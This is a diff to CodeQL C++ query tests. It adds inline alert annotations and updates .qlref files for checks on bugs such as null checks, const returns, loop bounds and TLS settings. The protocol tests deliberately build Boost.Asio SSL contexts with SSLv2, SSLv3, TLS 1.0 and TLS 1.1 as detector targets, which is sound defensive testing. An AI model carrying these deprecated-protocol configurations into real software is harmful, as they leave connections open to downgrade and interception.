b/cpp/ql/test/query-tests/Likely Bugs/Protocols/UseOfDeprecatedHardcodedProtocol.qlref @@ -1 +1,2 @@ -Likely Bugs/Protocols/UseOfDeprecatedHardcodedProtocol.ql \ No newline at end of file +query: Likely Bugs/Protocols/UseOfDeprecatedHardcodedProtocol.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Protocols/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Protocols/test.cpp index 5c2c2d6e3574..f9b0f05b091f 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Protocols/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Protocols/test.cpp @@ -22,23 +22,23 @@ void TestProperConfiguration_inter_CorrectUsage02() void TestProperConfiguration_inter_IncorrectUsage01() { - boost::asio::ssl::context ctx(boost::asio::ssl::context::sslv23); // BAD - missing disable SSLv3 + boost::asio::ssl::context ctx(boost::asio::ssl::context::sslv23); // BAD - missing disable SSLv3 // $ Alert[cpp/boost/tls-settings-misconfiguration] SetOptionsNoOldTls(ctx); } void TestProperConfiguration_IncorrectUsage01() { - boost::asio::ssl::context ctx(boost::asio::ssl::context::sslv23); // BAD + boost::asio::ssl::context ctx(boost::asio::ssl::context::sslv23); // BAD // $ Alert[cpp/boost/tls-settings-misconfiguration] } void TestProperConfiguration_IncorrectUsage02() { - boost::asio::ssl::context ctx(boost::asio::ssl::context::tls); // BAD + boost::asio::ssl::context ctx(boost::asio::ssl::context::tls); // BAD // $ Alert[cpp/boost/tls-settings-misconfiguration] } void TestProperConfiguration_IncorrectUsage03() { - boost::asio::ssl::context ctx(boost::asio::ssl::context::tls); // BAD + boost::asio::ssl::context ctx(boost::asio::ssl::context::tls); // BAD // $ Alert[cpp/boost/tls-settings-misconfiguration] SetOptionsNoOldTls(ctx); ctx.set_options(boost::asio::ssl::context::no_tlsv1 | boost::asio::ssl::context::no_tlsv1_2 ); // BUG - disabling TLS 1.2 @@ -47,21 +47,21 @@ void TestProperConfiguration_IncorrectUsage03() void TestHardcodedProtocols() { //////////////////////// Banned Hardcoded algorithms - boost::asio::ssl::context cxt_sslv2(boost::asio::ssl::context::sslv2); // BUG - boost::asio::ssl::context cxt_sslv2c(boost::asio::ssl::context::sslv2_client); // BUG - boost::asio::ssl::context cxt_sslv2s(boost::asio::ssl::context::sslv2_server); // BUG + boost::asio::ssl::context cxt_sslv2(boost::asio::ssl::context::sslv2); // BUG // $ Alert[cpp/boost/use-of-deprecated-hardcoded-security-protocol] + boost::asio::ssl::context cxt_sslv2c(boost::asio::ssl::context::sslv2_client); // BUG // $ Alert[cpp/boost/use-of-deprecated-hardcoded-security-protocol] + boost::asio::ssl::context cxt_sslv2s(boost::asio::ssl::context::sslv2_server); // BUG // $ Alert[cpp/boost/use-of-deprecated-hardcoded-security-protocol] - boost::asio::ssl::context cxt_sslv3(boost::asio::ssl::context::sslv3); // BUG - boost::asio::ssl::context cxt_sslv3c(boost::asio::ssl::context::sslv3_client); // BUG - boost::asio::ssl::context cxt_sslv3s(boost::asio::ssl::context::sslv3_server); // BUG + boost::asio::ssl::context cxt_sslv3(boost::asio::ssl::context::sslv3); // BUG // $ Alert[cpp/boost/use-of-deprecated-hardcoded-security-protocol] + boost::asio::ssl::context cxt_sslv3c(boost::asio::ssl::context::sslv3_client); // BUG // $ Alert[cpp/boost/use-of-deprecated-hardcoded-security-protocol] + boost::asio::ssl::context cxt_sslv3s(boost::asio::ssl::context::sslv3_server); // BUG // $ Alert[cpp/boost/use-of-deprecated-hardcoded-security-protocol] - boost::asio::ssl::context cxt_tlsv1(boost::asio::ssl::context::tlsv1); // BUG - boost::asio::ssl::context cxt_tlsv1c(boost::asio::ssl::context::tlsv1_client); // BUG - boost::asio::ssl::context cxt_tlsv1s(boost::asio::ssl::context::tlsv1_server); // BUG + boost::asio::ssl::context cxt_tlsv1(boost::asio::ssl::context::tlsv1); // BUG // $ Alert[cpp/boost/use-of-deprecated-hardcoded-security-protocol] + boost::asio::ssl::context cxt_tlsv1c(boost::asio::ssl::context::tlsv1_client); // BUG // $ Alert[cpp/boost/use-of-deprecated-hardcoded-security-protocol] + boost::asio::ssl::context cxt_tlsv1s(boost::asio::ssl::context::tlsv1_server); // BUG // $ Alert[cpp/boost/use-of-deprecated-hardcoded-security-protocol] - boost::asio::ssl::context cxt_tlsv11(boost::asio::ssl::context::tlsv11); // BUG - boost::asio::ssl::context cxt_tlsv11c(boost::asio::ssl::context::tlsv11_client); // BUG - boost::asio::ssl::context cxt_tlsv11s(boost::asio::ssl::context::tlsv11_server); // BUG + boost::asio::ssl::context cxt_tlsv11(boost::asio::ssl::context::tlsv11); // BUG // $ Alert[cpp/boost/use-of-deprecated-hardcoded-security-protocol] + boost::asio::ssl::context cxt_tlsv11c(boost::asio::ssl::context::tlsv11_client); // BUG // $ Alert[cpp/boost/use-of-deprecated-hardcoded-security-protocol] + boost::asio::ssl::context cxt_tlsv11s(boost::asio::ssl::context::tlsv11_server); // BUG // $ Alert[cpp/boost/use-of-deprecated-hardcoded-security-protocol] ////////////////////// Hardcoded algorithms @@ -76,7 +76,7 @@ void TestHardcodedProtocols() void InterProceduralTest(boost::asio::ssl::context::method m) { - boost::asio::ssl::context cxt1(m); // BUG - Multiple hits (sink) + boost::asio::ssl::context cxt1(m); // BUG - Multiple hits (sink) // $ Alert[cpp/boost/use-of-deprecated-hardcoded-security-protocol] } void TestHardcodedProtocols_inter() diff --git a/cpp/ql/test/query-tests/Likely Bugs/Protocols/test2.cpp b/cpp/ql/test/query-tests/Likely Bugs/Protocols/test2.cpp index 5679cee8b0f8..c7715ff24614 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Protocols/test2.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Protocols/test2.cpp @@ -12,7 +12,7 @@ void bad1() { // BAD: missing disable SSLv3 boost::asio::ssl::context::method m = boost::asio::ssl::context::sslv23; - boost::asio::ssl::context ctx(m); + boost::asio::ssl::context ctx(m); // $ Alert[cpp/boost/tls-settings-misconfiguration] ctx.set_options(boost::asio::ssl::context::no_tlsv1 | boost::asio::ssl::context::no_tlsv1_1); } @@ -20,7 +20,7 @@ void good2() { // GOOD [FALSE POSITIVE x 3] boost::asio::ssl::context::options opts = boost::asio::ssl::context::no_tlsv1 | boost::asio::ssl::context::no_tlsv1_1 | boost::asio::ssl::context::no_sslv3; - boost::asio::ssl::context ctx(boost::asio::ssl::context::sslv23); + boost::asio::ssl::context ctx(boost::asio::ssl::context::sslv23); // $ Alert[cpp/boost/tls-settings-misconfiguration] ctx.set_options(opts); } @@ -28,7 +28,7 @@ void bad2() { // BAD: missing disable SSLv3 [WITH FALSE POSITIVE x 2] boost::asio::ssl::context::options opts = boost::asio::ssl::context::no_tlsv1 | boost::asio::ssl::context::no_tlsv1_1; - boost::asio::ssl::context ctx(boost::asio::ssl::context::sslv23); + boost::asio::ssl::context ctx(boost::asio::ssl::context::sslv23); // $ Alert[cpp/boost/tls-settings-misconfiguration] ctx.set_options(opts); } @@ -42,14 +42,14 @@ void good3() void bad3() { // BAD: missing disable SSLv3 - boost::asio::ssl::context *ctx = new boost::asio::ssl::context(boost::asio::ssl::context::sslv23); + boost::asio::ssl::context *ctx = new boost::asio::ssl::context(boost::asio::ssl::context::sslv23); // $ Alert[cpp/boost/tls-settings-misconfiguration] ctx->set_options(boost::asio::ssl::context::no_tlsv1 | boost::asio::ssl::context::no_tlsv1_1); } void bad4() { // BAD: missing disable SSLv3 - boost::asio::ssl::context ctx(boost::asio::ssl::context::sslv23); + boost::asio::ssl::context ctx(boost::asio::ssl::context::sslv23); // $ Alert[cpp/boost/tls-settings-misconfiguration] } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Protocols/test3.cpp b/cpp/ql/test/query-tests/Likely Bugs/Protocols/test3.cpp index c9932b31618d..88f204dcced9 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Protocols/test3.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Protocols/test3.cpp @@ -4,7 +4,7 @@ void useTLS_bad() { - boost::asio::ssl::context ctx(boost::asio::ssl::context::tls); + boost::asio::ssl::context ctx(boost::asio::ssl::context::tls); // $ Alert[cpp/boost/tls-settings-misconfiguration] ctx.set_options(boost::asio::ssl::context::no_tlsv1); // BAD: missing no_tlsv1_1 // ... diff --git a/cpp/ql/test/query-tests/Likely Bugs/RedundantNullCheckSimple/RedundantNullCheckSimple.cpp b/cpp/ql/test/query-tests/Likely Bugs/RedundantNullCheckSimple/RedundantNullCheckSimple.cpp index 2760dcb349c2..5c0ee7378dc7 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/RedundantNullCheckSimple/RedundantNullCheckSimple.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/RedundantNullCheckSimple/RedundantNullCheckSimple.cpp @@ -1,23 +1,23 @@ void test_simple_bad(int *p) { int x; - x = *p; - if (p == nullptr) { // BAD + x = *p; // $ Source + if (p == nullptr) { // BAD // $ Alert return; } } void test_not_same_basic_block(int *p) { - int x = *p; + int x = *p; // $ Source if (x > 100) return; - if (!p) // BAD + if (!p) // BAD // $ Alert return; } void test_indirect(int **p) { int x; - x = **p; - if (*p == nullptr) { // BAD + x = **p; // $ Source + if (*p == nullptr) { // BAD // $ Alert return; } } @@ -45,10 +45,10 @@ void test_no_single_dominator(int *p, bool b) { } int test_postdominator_same_bb(int *p) { - int b = (p == nullptr); // BAD + int b = (p == nullptr); // BAD // $ Alert // This dereference is a postdominator of the null check, meaning that all // paths from the check to the function exit will pass through it. - return *p + b; + return *p + b; // $ Source } int test_postdominator(int *p) { @@ -75,8 +75,8 @@ void test_indirect_local() { int *p = &a; int **pp = &p; int x; - x = **pp; - if (*pp == nullptr) { // BAD + x = **pp; // $ Source + if (*pp == nullptr) { // BAD // $ Alert return; } } @@ -89,8 +89,8 @@ void test_field_local(bool boolvar) { auto sp = &s; if (boolvar) { - int x = *sp->p; - if (sp->p == nullptr) { // BAD + int x = *sp->p; // $ Source + if (sp->p == nullptr) { // BAD // $ Alert return; } } else { diff --git a/cpp/ql/test/query-tests/Likely Bugs/RedundantNullCheckSimple/RedundantNullCheckSimple.qlref b/cpp/ql/test/query-tests/Likely Bugs/RedundantNullCheckSimple/RedundantNullCheckSimple.qlref index 2223e47c30d2..169150bbd516 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/RedundantNullCheckSimple/RedundantNullCheckSimple.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/RedundantNullCheckSimple/RedundantNullCheckSimple.qlref @@ -1 +1,2 @@ -Likely Bugs/RedundantNullCheckSimple.ql +query: Likely Bugs/RedundantNullCheckSimple.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/ReturnConstType/ReturnConstType.qlref b/cpp/ql/test/query-tests/Likely Bugs/ReturnConstType/ReturnConstType.qlref index ee515afb200f..bf5203dd1230 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/ReturnConstType/ReturnConstType.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/ReturnConstType/ReturnConstType.qlref @@ -1 +1,2 @@ -Likely Bugs/ReturnConstType.ql +query: Likely Bugs/ReturnConstType.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/ReturnConstType/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/ReturnConstType/test.cpp index 77c82fbb54cb..a1d04f71a747 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/ReturnConstType/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/ReturnConstType/test.cpp @@ -2,12 +2,12 @@ // --- examples from the qhelp --- // The leftmost const has no effect here. -const int square(const int x) { // BAD +const int square(const int x) { // BAD // $ Alert return x * x; } // The const has no effect here, and can easily be mistaken for const char*. -char* const id(char* s) { // BAD +char* const id(char* s) { // BAD // $ Alert return s; } @@ -15,9 +15,9 @@ char* const id(char* s) { // BAD const char *getAConstantString(); const char **getAConstantStringPointer(); -const char getAConstChar(); // BAD -const signed char getASignedConstChar(); // BAD -unsigned const char getAnUnsignedConstChar(); // BAD +const char getAConstChar(); // BAD // $ Alert +const signed char getASignedConstChar(); // BAD // $ Alert +unsigned const char getAnUnsignedConstChar(); // BAD // $ Alert char getAChar(); typedef const char mychar; @@ -43,10 +43,10 @@ template class myWrapper { myWrapper testTemplateClass{t: 'a'}; #define MYCHAR const char -MYCHAR getAMYCHAR(); // FALSE POSITIVE +MYCHAR getAMYCHAR(); // FALSE POSITIVE // $ Alert #define ID(T) T id_ (T x) {return x;} -ID(const char); // FALSE POSITIVE +ID(const char); // FALSE POSITIVE // $ Alert const float pi = 3.14159626f; const float &getPiRef() { return pi; } // GOOD diff --git a/cpp/ql/test/query-tests/Likely Bugs/ReturnConstTypeMember/ReturnConstTypeMember.qlref b/cpp/ql/test/query-tests/Likely Bugs/ReturnConstTypeMember/ReturnConstTypeMember.qlref index 052b0cd2ad50..3dbe1d19bf1e 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/ReturnConstTypeMember/ReturnConstTypeMember.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/ReturnConstTypeMember/ReturnConstTypeMember.qlref @@ -1 +1,2 @@ -Likely Bugs/ReturnConstTypeMember.ql +query: Likely Bugs/ReturnConstTypeMember.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/ReturnConstTypeMember/templates.cpp b/cpp/ql/test/query-tests/Likely Bugs/ReturnConstTypeMember/templates.cpp index 73d18c844d23..c36e5e9625eb 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/ReturnConstTypeMember/templates.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/ReturnConstTypeMember/templates.cpp @@ -10,7 +10,7 @@ class TC1 { template class TC2 { public: - T fun() const { + T fun() const { // $ Alert return 5; } }; diff --git a/cpp/ql/test/query-tests/Likely Bugs/ReturnConstTypeMember/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/ReturnConstTypeMember/test.cpp index e568d0da1525..e8eb23d013e1 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/ReturnConstTypeMember/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/ReturnConstTypeMember/test.cpp @@ -2,13 +2,13 @@ class myClass { int getAnInt() { return 0; } - const int getAConstInt() { + const int getAConstInt() { // $ Alert return 0; } int getAnIntConst() const { return 0; } - const int getAConstIntConst() const { + const int getAConstIntConst() const { // $ Alert return 0; } @@ -16,7 +16,7 @@ class myClass { return 0; } - static const int getAStaticConstInt() { + static const int getAStaticConstInt() { // $ Alert return 0; } }; diff --git a/cpp/ql/test/query-tests/Likely Bugs/ShortLoopVarName/ShortLoopVarName.cpp b/cpp/ql/test/query-tests/Likely Bugs/ShortLoopVarName/ShortLoopVarName.cpp index 7dd7855bacc5..65e41093c190 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/ShortLoopVarName/ShortLoopVarName.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/ShortLoopVarName/ShortLoopVarName.cpp @@ -3,7 +3,7 @@ void test1() { - int i, j, outer_loop_var, inner_loop_var; + int i, j, outer_loop_var, inner_loop_var; // $ Alert for (i = 0; i < 10; i++) // GOOD: no nested loop { @@ -27,7 +27,7 @@ void test1() void test2(char *str) { - for (char *a = str; *a != NULL; a++) // BAD: short name + for (char *a = str; *a != NULL; a++) // BAD: short name // $ Alert { char *b = a; // GOOD: not a loop variable @@ -70,7 +70,7 @@ void test3() } } - for (int y = 0; y < 256; y++) // BAD: x and y are not a co-ordinate pair + for (int y = 0; y < 256; y++) // BAD: x and y are not a co-ordinate pair // $ Alert { for (int x = 0; x < 256; x++) { @@ -93,7 +93,7 @@ void test3() { string strings[10]; - for (int i = 0; i < 10; i++) // BAD: x and y are not a co-ordinate pair + for (int i = 0; i < 10; i++) // BAD: x and y are not a co-ordinate pair // $ Alert { for (int j = 0; j < strings[i].strlen; j++) { diff --git a/cpp/ql/test/query-tests/Likely Bugs/ShortLoopVarName/ShortLoopVarName.qlref b/cpp/ql/test/query-tests/Likely Bugs/ShortLoopVarName/ShortLoopVarName.qlref index 6e4b506018f8..de5c76f3f6a8 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/ShortLoopVarName/ShortLoopVarName.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/ShortLoopVarName/ShortLoopVarName.qlref @@ -1 +1,2 @@ -Likely Bugs/ShortLoopVarName.ql +query: Likely Bugs/ShortLoopVarName.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/ImplicitFunctionDeclaration.qlref b/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/ImplicitFunctionDeclaration.qlref index 38492f2a203c..d96192c760c3 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/ImplicitFunctionDeclaration.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/ImplicitFunctionDeclaration.qlref @@ -1 +1,2 @@ -Likely Bugs/Underspecified Functions/ImplicitFunctionDeclaration.ql \ No newline at end of file +query: Likely Bugs/Underspecified Functions/ImplicitFunctionDeclaration.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/MistypedFunctionArguments.qlref b/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/MistypedFunctionArguments.qlref index e61361d6bfee..56065d60fcee 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/MistypedFunctionArguments.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/MistypedFunctionArguments.qlref @@ -1 +1,2 @@ -Likely Bugs/Underspecified Functions/MistypedFunctionArguments.ql +query: Likely Bugs/Underspecified Functions/MistypedFunctionArguments.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/TooFewArguments.qlref b/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/TooFewArguments.qlref index 710092c54d85..c0c3166e8d55 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/TooFewArguments.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/TooFewArguments.qlref @@ -1 +1,2 @@ -Likely Bugs/Underspecified Functions/TooFewArguments.ql +query: Likely Bugs/Underspecified Functions/TooFewArguments.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/TooManyArguments.qlref b/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/TooManyArguments.qlref index ca44af39c2bf..c78a44facd11 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/TooManyArguments.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/TooManyArguments.qlref @@ -1 +1,2 @@ -Likely Bugs/Underspecified Functions/TooManyArguments.ql +query: Likely Bugs/Underspecified Functions/TooManyArguments.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/test.c b/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/test.c index d77c16683ed6..a33a09acda62 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/test.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Underspecified Functions/test.c @@ -25,52 +25,52 @@ void test(int *argv[]) { declared_void(); // GOOD declared_with(1); // GOOD - undeclared(); // BAD (GOOD for everything except cpp/implicit-function-declaration) + undeclared(); // BAD (GOOD for everything except cpp/implicit-function-declaration) // $ Alert[cpp/implicit-function-declaration] undeclared(1); // GOOD - not_yet_declared1(1); // BAD (GOOD for everything except for cpp/implicit-function-declaration) - not_yet_declared2(1); // BAD (GOOD for everything except for cpp/implicit-function-declaration) - not_yet_declared2(ca); // BAD (GOOD for everything except for cpp/mistyped-function-arguments + not_yet_declared1(1); // BAD (GOOD for everything except for cpp/implicit-function-declaration) // $ Alert[cpp/implicit-function-declaration] + not_yet_declared2(1); // BAD (GOOD for everything except for cpp/implicit-function-declaration) // $ Alert[cpp/implicit-function-declaration] + not_yet_declared2(ca); // BAD (GOOD for everything except for cpp/mistyped-function-arguments // $ Alert[cpp/mistyped-function-arguments] // and cpp/too-few-arguments. Not detected in the case of cpp/too-few-arguments.) not_yet_declared2(); // BAD [NOT DETECTED] (GOOD for everything except for cpp/too-few-arguments) - declared_empty_defined_with(); // BAD + declared_empty_defined_with(); // BAD // $ Alert[cpp/too-few-arguments] declared_empty_defined_with(1); // GOOD int x; - declared_empty_defined_with(&x); // BAD - declared_empty_defined_with(3, &x); // BAD + declared_empty_defined_with(&x); // BAD // $ Alert[cpp/mistyped-function-arguments] + declared_empty_defined_with(3, &x); // BAD // $ Alert[cpp/futile-params] - not_declared_defined_with(-1, 0, 2U); // BAD (GOOD for everything except for cpp/implicit-function-declaration) - not_declared_defined_with(4LL, 0, 2.5e9f); // BAD + not_declared_defined_with(-1, 0, 2U); // BAD (GOOD for everything except for cpp/implicit-function-declaration) // $ Alert[cpp/implicit-function-declaration] + not_declared_defined_with(4LL, 0, 2.5e9f); // BAD // $ Alert[cpp/mistyped-function-arguments] declared_with_pointers(pv, ca); // GOOD - declared_with_pointers(3.5e15, 0); // BAD + declared_with_pointers(3.5e15, 0); // BAD // $ Alert[cpp/mistyped-function-arguments] declared_with_array("Hello"); // GOOD - declared_with_array(&x); // BAD + declared_with_array(&x); // BAD // $ Alert[cpp/mistyped-function-arguments] - defined_with_float(2.f); // BAD - defined_with_float(2.0); // BAD + defined_with_float(2.f); // BAD // $ Alert[cpp/mistyped-function-arguments] + defined_with_float(2.0); // BAD // $ Alert[cpp/mistyped-function-arguments] - defined_with_double(2.f); // BAD (GOOD for everything except for cpp/implicit-function-declaration) - defined_with_double('c'); // BAD + defined_with_double(2.f); // BAD (GOOD for everything except for cpp/implicit-function-declaration) // $ Alert[cpp/implicit-function-declaration] + defined_with_double('c'); // BAD // $ Alert[cpp/mistyped-function-arguments] - defined_with_long_long('c'); // BAD - defined_with_long_long(3); // BAD + defined_with_long_long('c'); // BAD // $ Alert[cpp/mistyped-function-arguments] + defined_with_long_long(3); // BAD // $ Alert[cpp/mistyped-function-arguments] - defined_with_double(2LL); // BAD - defined_with_long_long(3.5e15); // BAD + defined_with_double(2LL); // BAD // $ Alert[cpp/mistyped-function-arguments] + defined_with_long_long(3.5e15); // BAD // $ Alert[cpp/mistyped-function-arguments] k_and_r_func(2.5, &s); // GOOD int (*parameterName)[2]; - defined_with_ptr_ptr(parameterName); // // BAD (GOOD for everything except for cpp/implicit-function-declaration) + defined_with_ptr_ptr(parameterName); // // BAD (GOOD for everything except for cpp/implicit-function-declaration) // $ Alert[cpp/implicit-function-declaration] defined_with_ptr_ptr(argv); // GOOD - defined_with_ptr_arr(parameterName); // // BAD (GOOD for everything except for cpp/implicit-function-declaration) + defined_with_ptr_arr(parameterName); // // BAD (GOOD for everything except for cpp/implicit-function-declaration) // $ Alert[cpp/implicit-function-declaration] defined_with_ptr_arr(argv); // GOOD declared_and_defined_empty(); // GOOD - declared_and_defined_empty(1); // BAD + declared_and_defined_empty(1); // BAD // $ Alert[cpp/futile-params] } void not_yet_declared1(); @@ -85,7 +85,7 @@ void not_declared_defined_with(int x, int y, int z) { int dereference(); int caller(void) { - return dereference(); // BAD + return dereference(); // BAD // $ Alert[cpp/too-few-arguments] } int dereference(int *x) { return *x; } @@ -130,8 +130,8 @@ extern int extern_definition(double, double*); void test_implicit_function_declaration(int x, double d) { int y; - implicit_declaration(1, 2); // BAD - implicit_declaration_k_and_r(1, 2); // BAD + implicit_declaration(1, 2); // BAD // $ Alert[cpp/implicit-function-declaration] + implicit_declaration_k_and_r(1, 2); // BAD // $ Alert[cpp/implicit-function-declaration] implicit_declaration(1, 2); // GOOD (no longer an implicit declaration) diff --git a/cpp/ql/test/query-tests/Likely Bugs/UseInOwnInitializer/UseInOwnInitializer.qlref b/cpp/ql/test/query-tests/Likely Bugs/UseInOwnInitializer/UseInOwnInitializer.qlref index 8242a3a6403b..f4ba94dd082f 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/UseInOwnInitializer/UseInOwnInitializer.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/UseInOwnInitializer/UseInOwnInitializer.qlref @@ -1 +1,2 @@ -Likely Bugs/UseInOwnInitializer.ql +query: Likely Bugs/UseInOwnInitializer.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/UseInOwnInitializer/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/UseInOwnInitializer/test.cpp index 41dde27c5a09..dc5cbb9c49a4 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/UseInOwnInitializer/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/UseInOwnInitializer/test.cpp @@ -1,11 +1,11 @@ typedef long size_t; void test1() { - int x = x; // BAD + int x = x; // BAD // $ Alert } void test2() { - int x = x = 2; // BAD + int x = x = 2; // BAD // $ Alert } void test3() { @@ -54,11 +54,11 @@ void test9() { } void test10() { - int x = x + 1; // BAD: x is evaluated on the right hand side + int x = x + 1; // BAD: x is evaluated on the right hand side // $ Alert } void test11() { - int x = uninitialized(x) + 1; // BAD: x is evaluated on the right hand side + int x = uninitialized(x) + 1; // BAD: x is evaluated on the right hand side // $ Alert } #define self_initialize(t, x) t x = x diff --git a/cpp/ql/test/query-tests/Metrics/Functions/FunLinesOfCode.qlref b/cpp/ql/test/query-tests/Metrics/Functions/FunLinesOfCode.qlref index 2297839a1bf3..ffc998288f1f 100644 --- a/cpp/ql/test/query-tests/Metrics/Functions/FunLinesOfCode.qlref +++ b/cpp/ql/test/query-tests/Metrics/Functions/FunLinesOfCode.qlref @@ -1 +1 @@ -Metrics/Functions/FunLinesOfCode.ql +query: Metrics/Functions/FunLinesOfCode.ql diff --git a/cpp/ql/test/query-tests/Metrics/Functions/FunLinesOfComments.qlref b/cpp/ql/test/query-tests/Metrics/Functions/FunLinesOfComments.qlref index 22982899aad4..0a15219eae1e 100644 --- a/cpp/ql/test/query-tests/Metrics/Functions/FunLinesOfComments.qlref +++ b/cpp/ql/test/query-tests/Metrics/Functions/FunLinesOfComments.qlref @@ -1 +1 @@ -Metrics/Functions/FunLinesOfComments.ql +query: Metrics/Functions/FunLinesOfComments.ql diff --git a/cpp/ql/test/query-tests/Metrics/Functions/FunNumberOfCalls.qlref b/cpp/ql/test/query-tests/Metrics/Functions/FunNumberOfCalls.qlref index d3d6f76ce70f..32203bddc4de 100644 --- a/cpp/ql/test/query-tests/Metrics/Functions/FunNumberOfCalls.qlref +++ b/cpp/ql/test/query-tests/Metrics/Functions/FunNumberOfCalls.qlref @@ -1 +1 @@ -Metrics/Functions/FunNumberOfCalls.ql +query: Metrics/Functions/FunNumberOfCalls.ql diff --git a/cpp/ql/test/query-tests/Metrics/Functions/FunNumberOfParameters.qlref b/cpp/ql/test/query-tests/Metrics/Functions/FunNumberOfParameters.qlref index 26fc860b76da..3601ca985073 100644 --- a/cpp/ql/test/query-tests/Metrics/Functions/FunNumberOfParameters.qlref +++ b/cpp/ql/test/query-tests/Metrics/Functions/FunNumberOfParameters.qlref @@ -1 +1 @@ -Metrics/Functions/FunNumberOfParameters.ql +query: Metrics/Functions/FunNumberOfParameters.ql diff --git a/cpp/ql/test/query-tests/Metrics/Functions/FunNumberOfStatements.qlref b/cpp/ql/test/query-tests/Metrics/Functions/FunNumberOfStatements.qlref index 78f61924a025..ad24a29dddf1 100644 --- a/cpp/ql/test/query-tests/Metrics/Functions/FunNumberOfStatements.qlref +++ b/cpp/ql/test/query-tests/Metrics/Functions/FunNumberOfStatements.qlref @@ -1 +1 @@ -Metrics/Functions/FunNumberOfStatements.ql +query: Metrics/Functions/FunNumberOfStatements.ql diff --git a/cpp/ql/test/query-tests/Power of 10/Rule 2/BoundedLoopIterations.qlref b/cpp/ql/test/query-tests/Power of 10/Rule 2/BoundedLoopIterations.qlref index bd3a3b016916..28e3197a8f70 100644 --- a/cpp/ql/test/query-tests/Power of 10/Rule 2/BoundedLoopIterations.qlref +++ b/cpp/ql/test/query-tests/Power of 10/Rule 2/BoundedLoopIterations.qlref @@ -1 +1,2 @@ -Power of 10/Rule 2/BoundedLoopIterations.ql +query: Power of 10/Rule 2/BoundedLoopIterations.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Power of 10/Rule 2/loops.cpp b/cpp/ql/test/query-tests/Power of 10/Rule 2/loops.cpp index 29ca9fa1ccda..7d2564f955e4 100644 --- a/cpp/ql/test/query-tests/Power of 10/Rule 2/loops.cpp +++ b/cpp/ql/test/query-tests/Power of 10/Rule 2/loops.cpp @@ -21,20 +21,20 @@ void f() { while (i < bound) { i++; } // Good: Bound not modified in loop. do { i++; } while (i < bound); // Good: Bound not modified in loop. - for (i = 0; i < 10; i--); // Bad: No increment. - while (i < 10) { } // Bad: No increment. - do { i += 2; } while (i > 10); // Bad: No decrement. - while (i > 10) { if (i < 5) i--; } // Bad: Conditional decrement. - while (i < bound) { i++; bound++; } // Bad: Bound modified in loop. - while (i < bound) { i++; bound >>= 1; } // Bad: Bound modified in loop. - while (i > bound) { i--; bound += 1; } // Bad: Bound modified in loop. - while (i > bound) { i--; bound = bound; } // Bad: Bound modified in loop. - for (; xs->next; xs = xs->next); // Bad: No bound. - while (i <= -i) {} // Bad: Hidden infinite loop. + for 